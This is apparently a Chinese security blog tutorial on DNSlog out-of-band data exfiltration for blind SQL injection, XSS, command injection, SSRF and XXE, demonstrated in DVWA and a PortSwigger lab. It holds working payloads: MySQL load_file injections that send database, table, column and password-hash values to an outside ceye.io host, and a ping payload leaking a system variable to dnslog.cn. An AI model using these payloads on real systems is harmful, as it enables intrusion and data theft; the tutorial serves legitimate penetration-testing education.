mysql dns 注入_DNSlog应用

本文介绍了如何利用DNSlog在无回显的SQL注入、XSS、命令注入等场景下快速获取信息。通过DNS解析过程和UNC路径,结合数据库调用函数,如MySQL的load_file,实现盲注。同时,文章提供了测试案例,如在DVWA环境中利用DNSlog进行SQL盲注,并探讨了DNSlog在XSS、SSRF和XXE漏洞中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

————背景说明————

在做渗透的时候,有一些漏洞发现无回显的,比如sql注入,一般当我们拿到一个无回显的注入,那么我们往往会采用盲注,使用二分法不断猜测字符等方式来取信息,不过这样的方式耗时又费力,而且频繁地测试容易被目标网站ban掉。那么面对盲注,或者是其他漏洞的盲打,有没有哪种方法,可以快速地获取我们需要的信息呢,答案是有的,即本篇主要说的,利用DNS快速获取数据,官方地讲即DNSlog。

这里涉及到DNS解析过程,UNC,以及一些数据库调用函数。

DNS解析的过程:当应用过程需要将一个主机域名映射为IP地址时,就调用域名解析函数,解析函数将待转换的域名放在DNS请求中,以UDP报文方式发给本地域名服务器。本地的域名服务器查到域名后,将对应的IP地址放在应答报文中返回。同时域名服务器还必须具有连向其他服务器的信息以支持不能解析时的转发。若域名服务器不能回答该请求,则此域名服务器就暂成为DNS中的另一个客户,向根域名服务器发出请求解析,根域名服务器一定能找到下面的所有二级域名的域名服务器,这样以此类推,一直向下解析,直到查询到所请求的域名。

UNC:是一种通用命名规则,也称通用命名规范、通用命名约定。格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。比如在机子hguone上面有个共享文件夹叫niap,那UNC就可以写成\\hguone\niap,当访问域名下的某个文件的时候,也可以试着用UNC。

既然需要DNS解析,可以自己注册个服务器+域名来用,某云服务器一个月十块,域名一年十几块,配置完比如sql盲注就可以直接sqlmap用--dns-domain=域名跑。

其他常用的在线平台,有ceye.io、dnslog.cn、burp自带的 Collaborator client等。

————测试————

这里我使用ceye进行试验。

登陆ceye.io后整体界面如下,记录自己的identifiler地址。

6858470d29aa0ecf120965b0ef0dcbc9.png

首先DNS查询列表啥都没有

1bd684bb7f9a51b25a09e996ea56951d.png

登录自己本地搭的数据库服务器用数据库语句简单测试一下

select load_file('\\\\test.indentifiler.ceye.io\hguone');

test和hguone位置符合unc规则爱写啥写啥

f74e785faf9171b866f46265a24c0ed8.png

执行以后,ceye上面可以得到相关查询信息

d123f8e18fd6aa6ebe551ee4f4f75eb8.png

————SQL盲注————

关于sql,我们可以使用一些数据库中引发DNS解析的子程序通过unc访问域名,产生DNS解析。把这个方式利用到盲注中,进行数据库查询,通过dns解析便可以接收到回显相关信息,获取所需要的数据,下面是不同数据库常用的几个函数:

mssql:

master..xp_dirtree             获取文件夹子文件夹

eg:EXEC master..xp_dirtree 'C:\hguone'
;

master..xp_fileexist           文件是否存在

eg: EXEC master..xp_fileexist 'C:\hguone.txt';

master..xp_subdirs           获取所有子文件夹

eg: EXEC master..xp_subdirs 'C:\hguone';

mysql:

load_file         读取文件并以字符串返回

eg: select load_file('C:\hguone.txt');

Oracle:

GET_HOST_ADDRES  检索主机ip

eg: select UTL_INADDR.GET_HOST_ADDRESS('hguone.com');

UTL_HTTP.REQUEST     从给定的地址检索前2000字节数据

eg: select UTL_HTTP.REQUEST('http://hguone.com/niap.php') FROM DUAL;

PostgreSQL:

COPY                               文件系统的文件和表之间拷贝数据

eg:COPY users(names) FROM 'C:\\Windows\\hguone\\users.txt'

这里使用的数据库是mysql以及网站是dvwa

dvwa注入情况如下,它只显示存在,不显示其他信息

2e8d52550569b44e2896b53855f00c8c.png

直接构造数据库语句查询当前数据库

'and if((select load_file(concat('\\\\',(select database()),'.indentifiler.ceye.io\\hguone'))),1,0)#

b122dcd4ae644dd1549ae1a679d89627.png

看一下源代码

b4fb6204d3659760a84ce6a5657c6a5f.png

这里相当于执行了如下语句

SELECT first_name, last_name FROM users WHERE user_id = '' and if((select load_file(concat('\\\\',(select database()),'.indentifiler.ceye.io\\hguone'))),1,0)

接着看看表

'and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.indentifiler.ceye.io\\hguone'))),1,0)#

因为拼接则字段只能有一条,所以结果是多条数据则需要引入limit限制,否则会报错

5351ead51b49bcf972634267a0c56175.png

然后看看字段

'and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users'limit 0,1),'.indentifiler.ceye.io\\hguone'))),1,0)#

733c6f8323ecd33b3be7017e229c1757.png

然后看完字段名直接猜密码啥的了

'and if((select load_file(concat('\\\\',(select password from users where user_id='1'),'.indentifiler.ceye.io\\hguone'))),1,0)#

b6e3d5622a338647ccb216d44aedc4fa.png

解密一下其实就是password

2e2f006f6fb44aeb44e6a98d9ce5ab73.png

————XSS————

dnslog也可以应用于xss的盲打,有时候提交payload存储进去并不会在我们的界面触发,有时候是在后台管理员界面触发。这种情况下dnslog可以应用,在后台判断是否触发了这些xss攻击代码。而且一般我们是用script标签引入远程的js,有时候会有csp,而这种方式的盲打有时可以绕过csp。

这里也用dvwa的漏洞环境,我们假设这是个盲式的xss。

91de6586fe496b810dfac06435cbe692.png

设置相关的payload

hguone

60e231f88007bc74ded7a8d2ebbb89bb.png

访问页面触发,然后查看记录

7991fe358c0dd2e46b137da424d01660.png

————命令注入————

一般确定无回显的命令注入漏洞时,而且有时候又要进一步利用来获取一些关键信息,针对这种情况,采用dnslog进行这种盲打效果是不错的。

这里的应用主要是利用了系统变量+dnslog

一样是使用dvwad的环境,我们一样假设这是无回显的漏洞点。

40cc0087ae618d55de2640db0f5c7c9c.png

让其ping我们构造的payload

%OS%.292w6g.dnslog.cn

这里我换了个dnslog平台,ceye用多了本机留存了解析记录,我没删,刚好就换个平台也演示一下。

c1af6ffabdd0b3c6d638d27e2b06ed10.png

解析的结果如下

0c85c1343c353f6f8dfd4a3a920379bf.png

附上一些windows常用变量

%APPDATA% :  列出应用程序数据的默认存放位置。

%CD% :  列出当前目录。

%OS% :  列出操作系统的名字。

%Path% :  列出了可执行文件的搜索路径。

%PATHEXT% :  列出操作系统认为可被执行的文件扩展名

%CMDCMDLINE% :  列出启动当前cmd.exe所使用的命令行。

%CMDEXTVERSION% :  命令出当前命令处理程序扩展版本号。

%COMPUTERNAME% :  列出了计算机名。

%COMSPEC% :  列出了可执行命令外壳(命令处理程序)的路径。

%DATE% :  列出当前日期。

%HOMEPATH% :  列出用户主目录的完整路径。

%HOMESHARE% :  列出用户共享主目录的网络路径。

%LOGONSEVER% :  列出有效的当前登录会话的域名控制器名。

————SSRF————

文件包含检测的时候,将文件路径修改为dns服务器,通过dns查看dns解析记录,可以以此判断是否存在相关漏洞

php简单写了一个ssrf的环境

ee5b796d1c6dc89efed63fdf37b166ca.png

本地访问

4dbf679bbdbee74182cd2c3c6a391595.png

修改url利用漏洞访问dns资源

0e927701200de8752e552268cf187702.png

查看解析记录

4865e2e615457c7d215ab891892a68fb.png

————XXE————

用于盲打,引用外部实体,可以利用dnslog在平台获取所需要的信息。

这里使用的是burp自带的Collaborator client,环境是burp的实验室环境

https://portswigger.net/web-security/xxe/blind

1d24e2f4437ef9a64f6a4689b0748bfd.png

在服务器保存恶意的DTD

05de8fce1d26110f583fd410647c7902.png

489ba661d58d4637810c31742f2ecaf7.png

在无回显的漏洞处抓包

64e674105db688b069ecbb0b50ef69e2.png

017557ae2bc5e5c73ef0ff30b098913e.png

修改数据表进行引用恶意的DTD

52740025711220853f93fa40ee5b5c44.png

查询结果

c755e25aaa4338ec05011d99cc4ab917.png

————注意事项————

1、解析的地址如果通过UNC命名规则设置,由于linux没有UNC,所以就只适用于windows DNS解析过程中。但是并不意味着linux不适用dnslog,比如用ping,用curl是可以的。

2、UNC路径不能超过128,否则报错,这限制了比如sql的查询语句的长度。

3、SQL中像load_file这类函数使用需要当前账户有写权限。

————结束撒花————

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值